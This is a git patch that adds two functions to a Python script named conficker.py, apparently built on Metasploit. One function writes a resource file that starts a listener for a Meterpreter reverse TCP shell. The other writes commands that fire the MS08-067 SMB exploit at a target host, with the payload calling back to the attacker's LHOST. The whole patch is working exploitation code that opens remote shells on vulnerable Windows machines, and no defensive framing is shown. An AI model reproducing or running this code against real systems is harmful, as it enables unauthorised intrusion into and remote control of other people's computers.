From 67ab82832b3fe24acd660df5dea9634740c0e4a5 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 1 Nov 2017 23:36:00 +0100 Subject: [PATCH] implemented setupHandler and confickerExploit to conficker.py --- metasploit/conficker.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/metasploit/conficker.py b/metasploit/conficker.py index 5f4cf2f..733e766 100644 --- a/metasploit/conficker.py +++ b/metasploit/conficker.py @@ -10,3 +10,17 @@ def findTgts(subNet): print '[+] Found Target Host: ' + host tgtHosts.append(host) return tgtHosts +def setupHandler(configFile, lhost, lport): + configFile.write('use exploit/multi/handler\n') + configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') + configFile.write('set LPORT ' + str(lport) + '\n') + configFile.write('set LHOST ' + lhost + '\n') + configFile.write('exploit -j -z\n') + configFile.write('setg DisablePayloadHandler 1\n') +def confickerExploit(configFile, tgtHost, lhost, lport): + configFile.write('use exploit/windows/smb/ms08_067_netapi\n') + configFile.write('set RHOST ' + str(tgtHost) + '\n') + configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') + configFile.write('set LPORT ' + str(lport) + '\n') + configFile.write('set LHOST ' + lhost + '\n') + configFile.write('exploit -j -z\n')